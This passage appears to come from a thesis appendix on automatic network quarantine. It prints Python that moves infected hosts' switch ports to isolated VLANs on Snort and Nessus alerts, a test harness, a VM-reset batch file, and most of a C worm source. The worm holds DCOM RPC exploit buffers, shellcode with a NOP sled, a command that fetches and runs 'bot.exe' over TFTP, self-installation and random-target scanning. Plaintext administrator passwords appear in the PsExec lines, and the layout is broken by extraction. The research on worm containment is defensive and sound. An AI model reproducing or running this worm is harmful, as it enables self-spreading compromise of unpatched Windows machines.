port = mactable[found+30:found+36].decode()
if(DEBUG): logprint(port)
return port
def quarantine(ip, source):
mac = iptomac(ip)
if(mac == -1):
if(DEBUG): logprint("Can't resolve IP to MAC")
return -1
vlan = "1"
# Source = 0: Nessus (Vulnerable)
# Source = 1: Snort (Infected)
if(source == INFECTED):
vlan = "100"
if(DEBUG): logprint("QUARANTINING %s" % mac)
#Create telnet connection
try:
telnet = telnetlib.Telnet(host)
except:
logprint("Couldn't establish telnet to switch")
return -1
login(telnet, username, password)
enable(telnet, password)

#Find port
port = findmac(telnet, mac)
if(port == -1):
logprint("Netcontrol: MAC Address not connected")
telnet.close()
return -1
if(DEBUG): logprint(port)
if(source == VULNERABLE):
vlan = port[4:]
vlan = int(vlan) + 1

#Move port to vlan
if(DEBUG): logprint("MOVING TO VLAN %s" % vlan)
telnet.write(b"configure terminal\r")
read = telnet.read_until(b"wardrobe(config)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"interface " + port.encode('ascii') + b"\n")
read = telnet.read_until(b"wardrobe(config-if)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"switchport access vlan " + str(vlan).encode('ascii')
+ b"\n")
read = telnet.read_until(b"wardrobe(config-if)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"exit\r")
read = telnet.read_until(b"wardrobe(config)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"exit\r")
read = telnet.read_until(b"wardrobe#")
if(DEBUG): logprint(read.decode())
#Close connection
telnet.close()
def unquarantine(mac):
if(DEBUG): logprint("UNQUARANTINING %s" % mac)
#Create telnet connection
telnet = telnetlib.Telnet(host)
login(telnet, username, password)
enable(telnet, password)
#Find port
port = findmac(telnet, mac)
if(port == -1):
logprint("MAC Address not connected")
telnet.close()
return -1
if(DEBUG): logprint(port)
#Move port to vlan 1
telnet.write(b"configure terminal\r")
read = telnet.read_until(b"wardrobe(config)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"interface " + port.encode('ascii') + b"\n")
read = telnet.read_until(b"wardrobe(config-if)#")
if(DEBUG): logprint(read.decode())

telnet.write(b"switchport access vlan 1\r")
read = telnet.read_until(b"wardrobe(config-if)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"exit\r")
read = telnet.read_until(b"wardrobe(config)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"exit\r")
read = telnet.read_until(b"wardrobe#")
if(DEBUG): logprint(read.decode())
#Close connection
telnet.close()
def restoreAll():
#Create telnet connection
telnet = telnetlib.Telnet(host)
login(telnet, username, password)
enable(telnet, password)
logprint("Netcontrol: Restoring all ports to vlan 1")
for i in range(1, 25):
#Move all ports to vlan 1
telnet.write(b"configure terminal\r")
read = telnet.read_until(b"wardrobe(config)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"interface fa0/" + str(i).encode('ascii') +
b"\n")
read = telnet.read_until(b"wardrobe(config-if)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"switchport access vlan 1\r")
read = telnet.read_until(b"wardrobe(config-if)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"exit\r")
read = telnet.read_until(b"wardrobe(config)#")
if(DEBUG): logprint(read.decode())
telnet.write(b"exit\r")
read = telnet.read_until(b"wardrobe#")
if(DEBUG): logprint(read.decode())
logprint("Netcontrol: Restore complete")
#Close connection
telnet.close()

def listinfected():
#Create telnet connection
telnet = telnetlib.Telnet(host)
login(telnet, username, password)
enable(telnet, password)
telnet.write(b"terminal length 0\r")
read = telnet.read_until(b"wardrobe#")
telnet.write(b"show vlan brief\r")
read = telnet.read_until(b"wardrobe#")
logprint(read.decode())
telnet.close()

return
def iptomac(ip):
for i in range(0,5):
Popen("ping -n 1 %s" % ip, shell=True, stdin=PIPE,
stdout=PIPE)
p = Popen("arp -a", shell=True, stdin=PIPE, stdout=PIPE)
for line in p.stdout.readlines()[2:]:
if(DEBUG): logprint(line)
line = line.decode()
if(line.find(ip) != -1):
if(DEBUG): logprint("Found: %s" % line)
mac = line.split()[1].split('-')
return "%s%s.%s%s.%s%s" % (mac[0], mac[1], mac[2],
mac[3], mac[4], mac[5])
if(DEBUG): logprint("MAC Address not found")
return -1

class Monitor(threading.Thread):
def __init__(self, infect, vuln):
self.infect = infect
self.vuln = vuln
self.runmon = True
threading.Thread.__init__(self)
def stop(self):
self.runmon = False
def run(self):
infect = self.infect
vuln = self.vuln
logprint("Netcontrol running...")
while self.runmon:
try:
infected = infect.get(False)
logprint("Netcontrol: Unqueued %s" % infected)
if(quarantine(infected, INFECTED) != -1):
logprint("Netcontrol: %s blocked" % infected)
else:
logprint("Netcontrol: %s failed to block" % infected)
logprint("Netcontrol: Infected: %s" % infected)
except queue.Empty:
pass

try:
vulnerable = vuln.get(False)
logprint("Netcontrol: Unqueued %s" % vulnerable)
if(quarantine(vulnerable, VULNERABLE) != -1):
logprint("Netcontrol: %s quarantined" % vulnerable)
else:
logprint("Netcontrol: %s failed to quarantine" %
vulnerable)
logprint("Netcontrol: Vulnerable: %s" % vulnerable)
except queue.Empty:

pass
logprint("Netcontrol: Netcontrol stopped")
def main():
restoreAll()
#quarantine('192.168.1.8', INFECTED)
#quarantine('192.168.1.22', INFECTED)
#listinfected()
'''
logprint("Quarantining")
if(quarantine('192.168.1.14', VULNERABLE) == -1):
return
logprint("Un-Quarantining")
if(unquarantine('001b.242b.f377') == -1):
return
'''
if __name__ == '__main__':
main()

18. Appendix D – snortmonitor.py
import sys
import os
from socket import *
import threading
import queue
import time
from time import strftime
FULLDEBUG = False
DEBUG = False
def logprint(log):
print(strftime("%m-%d-%Y %H:%M:%S - ") + log )
fp = open("commandlog.txt", "a")
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n")
fp.close()
class Server(threading.Thread):
def __init__(self):
port = 514
host = "192.168.1.141"
addr = (host,port)
self.runsnort = True
self.infected = queue.Queue()
self.syslog = socket(AF_INET, SOCK_DGRAM)
self.syslog.setblocking(1)
self.syslog.bind(addr)
threading.Thread.__init__(self)
def stop(self):

self.runsnort = False
self.syslog.close()

def run(self):
infected = self.infected
logprint("Snortmonitor running...")
while self.runsnort:
try:
data, addr = self.syslog.recvfrom(1024)
except:
sys.exit()
if(FULLDEBUG): logprint(data.decode())
if(FULLDEBUG): logprint(data2.decode())
if(data.decode().find("Priority: 3") != -1):
try:
data2, addr2 = self.syslog.recvfrom(1024)
except:
sys.exit()
alert = self.parsealert(data)
alert2 = self.parsealert(data2)
if(alert == -1 or alert2 == -1):
continue
if(alert == None):
continue
if(alert[0] == '9601'):
logprint("Snort: Queueing %s" % alert[1])
infected.put(alert[1])
if(alert2[0] == '1444'):
if(alert2[1] == alert[2]):
logprint("Snort: Queueing %s" % alert[2])
infected.put(alert[2])
def parsealert(self, alert):
parsed = alert.decode().split()
try:
parsed.remove("<13>root:")
except:
pass
try:
snortid = parsed[1][1:-1].split(':')[1]
ipsrc = parsed[-3].split(':')[0]
ipdst = parsed[-1].split(':')[0]
if(DEBUG): logprint("Snort Alert %s: Src: %s
Dest: %s" % (snortid, ipsrc, ipdst))
return (snortid, ipsrc, ipdst)
except:
return -1
def main():
serv = Server()
serv.daemon = True
serv.start()
time.sleep(20)
serv.stop()

if __name__ == '__main__':

main()

19. Appendix E – testing.py
import os, sys, time, shutil
import commandcenter, netcontrol
#Syslog log files
syslogremote = "X:\\SyslogCatchAll.txt"
syslogbase = "C:\\Documents and
Settings\\Administrator\\Desktop\\Thesis\\Tests\\Syslog Logs"
#Quarantine System log files
quarantinelog = "C:\\Documents and
Settings\\Administrator\\Desktop\\Thesis\\Final Code\\commandlog.txt"
quarantinebase = "C:\\Documents and
Settings\\Administrator\\Desktop\\Thesis\\Tests\\Quarantine Log"
#start worms
worms = []
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator
tuftus -i 0 c:\\ntl\\dcom.exe", "Worm Non-Threaded Linear"))
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator
tuftus -i 0 c:\\ntr\\dcom.exe", "Worm Non-Threaded Random"))
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator
tuftus -i 0 c:\\tl\\dcom.exe", "Worm Threaded Linear"))
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator
tuftus -i 0 c:\\tr\\dcom.exe", "Worm Threaded Random"))
protection = []
protection.append((True, True, "Full System"))
protection.append((True, False, "Snort Only"))
protection.append((False, True, "Nessus Only"))
protection.append((False, False, "No Protection"))

for system in protection:
worm = worms[int(sys.argv[1])-1]
#Restore all ports to vlan 1
netcontrol.restoreAll()
#time.sleep(30)
#Initial VM Reset
os.system("start resetallvms.bat") #reset vms
#wait for vms to reset
time.sleep(300)
try:
os.remove(syslogremote)
except:
pass
try:
os.remove(quarantinelog)
except:

-p
-p
-p
-p

pass
#Start command center
thread = commandcenter.Commander(system[0], system[1])
thread.daemon = True
thread.start()
syslogfull = syslogbase + "\\" + system[2] + "\\" + worm[1] + "-" +
time.strftime("%m-%d-%Y-%H-%M-%S") + ".txt"
quarantinefull = quarantinebase + "\\" + system[2] + "\\" + worm[1]
+ "-" + time.strftime("%m-%d-%Y-%H-%M-%S") + ".txt"

#Start worm
print("\n\nStarting test: %s with %s\n\n" % (worm[1], system[2]))
os.system(worm[0])
time.sleep(30*60)
#Copy log files
try:
shutil.copyfile(syslogremote, syslogfull)
except:
print("Could not copy syslog log")
pass
if(system[0] or system[1]):
try:
shutil.copyfile(quarantinelog, quarantinefull)
except:
print("Could not copy quarantine log")
pass
#Reset virtual network
netcontrol.restoreAll() #restore all ports to vlan 1
os.system("start resetallvms.bat") #reset vms
time.sleep(120)
#Reset all logs
try:
os.remove(syslogremote)
except:
pass
try:
os.remove(quarantinelog)
except:
pass

20. Appendix F – resetallvms.bat
start C:\PsExec.exe \\192.168.1.82 -U administrator -P tuftus -I
1 -E -F -C \\192.168.1.141\share\resetvms.bat
start C:\PsExec.exe \\192.168.1.84 -U administrator -P tuftus -I
1 -E -F -C \\192.168.1.141\share\resetvms.bat
start C:\PsExec.exe \\192.168.1.86 -U administrator -P tuftus -I
1 -E -F -C \\192.168.1.141\share\resetvms.bat

start C:\PsExec.exe \\192.168.1.88 -U administrator
1 -E -F -C \\192.168.1.141\share\resetvms.bat
start C:\PsExec.exe \\192.168.1.90 -U administrator
1 -E -F -C \\192.168.1.141\share\resetvmse.bat
start C:\PsExec.exe \\192.168.1.92 -U administrator
1 -E -F -C \\192.168.1.141\share\resetvms.bat
start C:\PsExec.exe \\192.168.1.94 -U administrator
1 -E -F -C \\192.168.1.141\share\resetvms.bat
start C:\PsExec.exe \\192.168.1.96 -U administrator
1 -E -F -C \\192.168.1.141\share\resetvms.bat
start C:\PsExec.exe \\192.168.1.99 -U administrator
1 -E -F -C \\192.168.1.141\share\resetvms.bat
start C:\PsExec.exe \\192.168.1.70 -U administrator
1 -E -F -C \\192.168.1.141\share\resetvms.bat
start C:\PsExec.exe \\192.168.1.72 -U administrator
1 -E -F -C \\192.168.1.141\share\resetvmse.bat
start C:\PsExec.exe \\192.168.1.74 -U administrator
1 -E -F -C \\192.168.1.141\share\resetvms.bat
exit

-P tuftus -I
-P tuftus -I
-P tuftus -I
-P tuftus -I
-P tuftus -I
-P tuftus -I
-P tuftus -I
-P tuftus -I
-P tuftus -I

21. Appendix G – Worm Non-Threaded Random.cpp
#include
#include
#include
#include
#include

<stdio.h>
<stdlib.h>
<winsock2.h>
<string.h>
<time.h>

char* getLocalIP();
void Exploit(SOCKET&);
void SetupExploit();
void Install(char *);
void Report();
void ReportExploit(char *);
void unBind();
bool Installed();
unsigned long chooseTarget();
DWORD WINAPI tftpServer(LPVOID);
DWORD WINAPI wait(LPVOID);
void debugLog(int);
char* persistent = "C:\\Windows\\system32\\worm.exe";
bool tftpRunning = false, xferComplete = false, xferTimeOut = false;
bool debug = true;
int len;
char buf2[0x1000];
char* filename;
char logMessage[1000];
bool targeted[254];
char bindstr[]=
"\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00"
"\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00"
"\xa0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x0
0\x00\x00\x00"
"\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00"

"\x2B\x10\x48\x60\x02\x00\x00";
unsigned char part1[]=
"\x05\x00\x00\x03\x10\x00\x00\x00\xE8\x03\x00\x00\xE5\x00\x00\x00"
"\xD0\x03\x00\x00\x01\x00\x04\x00\x05\x00\x06\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x32\x24\x58\xFD\xCC\x45\x64\x49\xB0\x70\xDD\xAE"
"\x74\x2C\x96\xD2\x60\x5E\x0D\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x70\x5E\x0D\x00\x02\x00\x00\x00\x7C\x5E\x0D\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x80\x96\xF1\xF1\x2A\x4D\xCE\x11\xA6\x6A\x00\x20"
"\xAF\x6E\x72\xF4\x0C\x00\x00\x00\x4D\x41\x52\x42\x01\x00\x00\x00"
"\x00\x00\x00\x00\x0D\xF0\xAD\xBA\x00\x00\x00\x00\xA8\xF4\x0B\x00"
"\x60\x03\x00\x00\x60\x03\x00\x00\x4D\x45\x4F\x57\x04\x00\x00\x00"
"\xA2\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46"
"\x38\x03\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46"
"\x00\x00\x00\x00\x30\x03\x00\x00\x28\x03\x00\x00\x00\x00\x00\x00"
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\xC8\x00\x00\x00\x4D\x45\x4F\x57"
"\x28\x03\x00\x00\xD8\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00"
"\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xC4\x28\xCD\x00\x64\x29\xCD\x00\x00\x00\x00\x00"
"\x07\x00\x00\x00\xB9\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
"\x00\x00\x00\x46\xAB\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
"\x00\x00\x00\x46\xA5\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
"\x00\x00\x00\x46\xA6\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
"\x00\x00\x00\x46\xA4\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
"\x00\x00\x00\x46\xAD\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
"\x00\x00\x00\x46\xAA\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
"\x00\x00\x00\x46\x07\x00\x00\x00\x60\x00\x00\x00\x58\x00\x00\x00"
"\x90\x00\x00\x00\x40\x00\x00\x00\x20\x00\x00\x00\x78\x00\x00\x00"
"\x30\x00\x00\x00\x01\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC"
"\x50\x00\x00\x00\x4F\xB6\x88\x20\xFF\xFF\xFF\xFF\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC"
"\x48\x00\x00\x00\x07\x00\x66\x00\x06\x09\x02\x00\x00\x00\x00\x00"
"\xC0\x00\x00\x00\x00\x00\x00\x46\x10\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x78\x19\x0C\x00"
"\x58\x00\x00\x00\x05\x00\x06\x00\x01\x00\x00\x00\x70\xD8\x98\x93"
"\x98\x4F\xD2\x11\xA9\x3D\xBE\x57\xB2\x00\x00\x00\x32\x00\x31\x00"
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x80\x00\x00\x00\x0D\xF0\xAD\xBA"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x18\x43\x14\x00\x00\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00"
"\x4D\x45\x4F\x57\x04\x00\x00\x00\xC0\x01\x00\x00\x00\x00\x00\x00"
"\xC0\x00\x00\x00\x00\x00\x00\x46\x3B\x03\x00\x00\x00\x00\x00\x00"
"\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x30\x00\x00\x00"
"\x01\x00\x01\x00\x81\xC5\x17\x03\x80\x0E\xE9\x4A\x99\x99\xF1\x8A"
"\x50\x6F\x7A\x85\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x30\x00\x00\x00\x78\x00\x6E\x00"
"\x00\x00\x00\x00\xD8\xDA\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x20\x2F\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x46\x00\x58\x00\x00\x00\x00\x00"
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x10\x00\x00\x00\x30\x00\x2E\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x68\x00\x00\x00\x0E\x00\xFF\xFF"
"\x68\x8B\x0B\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

unsigned char part2[]=
"\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x5C\x00\x5C\x00";

unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\xff\xff\xff\xff\xcc\xe0\xfd\x7f\xcc\xe0\xfd\x7f";

unsigned char nops[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

unsigned char sc2[]=
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8"
"\x83\xc0\x7b\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff"
"\xe7";
unsigned char part3[]=
"\x00\x90\x00\x5C\x00\x43\x00\x24\x00\x5C\x00\x31\x00\x32\x00\x33"
"\x00\x34\x00\x35\x00\x36\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31"
"\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31"
"\x00\x31\x00\x31\x00\x2E\x00\x64\x00\x6F\x00\x63\x00\x00";
unsigned char part4[]=
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x20\x00\x00\x00\x30\x00\x2D\x00"
"\x00\x00\x00\x00\x88\x2A\x0C\x00\x02\x00\x00\x00\x01\x00\x00\x00"
"\x28\x8C\x0C\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00";
const char report[]=
"\x3C\x31\x39\x31\x3E\x20\x49\x6E\x66"
"\x65\x63\x74\x65\x64";
const char report2[]=
"\x3C\x31\x39\x31\x3E\x20";
int main(int argc, char *argv[])
{
SOCKET sock;
WSADATA wsaData;
struct sockaddr_in target_ip;
unsigned short port = 135;
srand(time(NULL));
target_ip.sin_family = AF_INET;
target_ip.sin_port = htons(port);
filename = argv[0];
for(int t = 0; t < 254; t++){
targeted[t]=false;
}
debugLog(sprintf(logMessage, "New Run\n"));
FILE * fp;
if((fp = fopen("ruler.txt", "r")) != NULL){
fclose(fp);

}else{
if(!Installed()) {
Install(filename); //Install
Report(); //Report
}
}
WSAStartup(MAKEWORD(2,2), &wsaData);
SetupExploit();
sock=socket(AF_INET,SOCK_STREAM,0);
target_ip.sin_addr.s_addr = chooseTarget(); //Choose target IP
Address
while(true){ //Start loop
debugLog(sprintf(logMessage, "Scanning: %s\n",
inet_ntoa(target_ip.sin_addr)));
if(connect(sock,(struct sockaddr *)&target_ip,
sizeof(target_ip)) == 0) { //Attempt connection to port 135
CreateThread(NULL, 0, tftpServer, 0, 0, NULL); //Start
tftp server
while(!tftpRunning);// {printf("t");} //Wait for tftp
server to be ready
debugLog(sprintf(logMessage, "Exploiting: %s\n",
inet_ntoa(target_ip.sin_addr)));
Exploit(sock); //Exploit!
CreateThread(NULL, 0, wait, 0, 0, NULL); //start
timeout thread
while(!xferComplete && !xferTimeOut); //wait for xfer
complete or timeout
if(xferTimeOut){ debugLog(sprintf(logMessage, "xfer
timed out\n")); }
if(xferComplete){
debugLog(sprintf(logMessage, "xfer complete\n"));
ReportExploit(inet_ntoa(target_ip.sin_addr));
}
xferComplete = false;
xferTimeOut = false;
closesocket(sock);
sock=socket(AF_INET,SOCK_STREAM,0);
}
target_ip.sin_addr.s_addr = chooseTarget(); //Choose target IP
Address
} //End loop
closesocket(sock);
WSACleanup();
return 0;
}
void debugLog(int success){
if(success != -1){

if(debug) {
FILE * logfile;
if((logfile = fopen("wormlog.txt", "a+")) ==
NULL){printf("Couldn't open log file\n");}
time_t rawtime;
struct tm * timeinfo;
char timestr[100];
time(&rawtime);
timeinfo = localtime(&rawtime);
strftime(timestr,100,"%c", timeinfo);
printf("%s:: %s", timestr, logMessage);
fprintf(logfile, "%s:: %s", timestr, logMessage);
fclose(logfile);

WSADATA wsaData3;
WSAStartup(MAKEWORD(2, 2), &wsaData3);
struct sockaddr_in syslog_ip;
int syslog, slen=sizeof(syslog_ip);
int count = 0;
char exploited[1000], buf[1000];
syslog = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
memset((char *) &syslog_ip, 0, sizeof(syslog_ip));
syslog_ip.sin_family = AF_INET;
syslog_ip.sin_port = htons(514);
syslog_ip.sin_addr.s_addr = inet_addr("192.168.1.131");
sprintf(exploited, "Message: %s", logMessage);
memcpy(buf, report2, sizeof(report2));
memcpy(buf, exploited, strlen(exploited));
count = sendto(syslog, buf,
(sizeof(report2)+strlen(exploited)), 0,
(SOCKADDR*)&syslog_ip, sizeof(syslog_ip));
closesocket(syslog);
WSACleanup();
}
}
}
unsigned long chooseTarget(){
char retVal[255], *local_ip;
int a, b, c, d, e;
int count = 0;
local_ip = getLocalIP();
a = atoi(strtok(local_ip, "."));
b = atoi(strtok(NULL, "."));
c = atoi(strtok(NULL, "."));
d = atoi(strtok(NULL, "."));
e = d;
targeted[e]=true;
while(e == d){

d = (rand() % 255);
if(!targeted[d]){
break;
} else {
count++;
if(count == 254){
debugLog(sprintf(logMessage, "Scanned all. Quitting\n"));
exit(0);
}
}
}
sprintf(retVal, "%d.%d.%d.%d", a, b, c, d);
return inet_addr(retVal);
}
void SetupExploit(){
unsigned int nopcount;
unsigned long ret = 0x77e9afe3;
unsigned long sclength;
char szCmdBuf[0x1000];
char* local_ip;

local_ip = getLocalIP();
memcpy(sc+36, (unsigned char *) &ret, 4);
sprintf(szCmdBuf, "cmd.exe /c tftp -i %s get bot.exe && bot.exe",
local_ip);
nopcount = 1704 - (sizeof(part1)-1 + sizeof(part2)-1 +
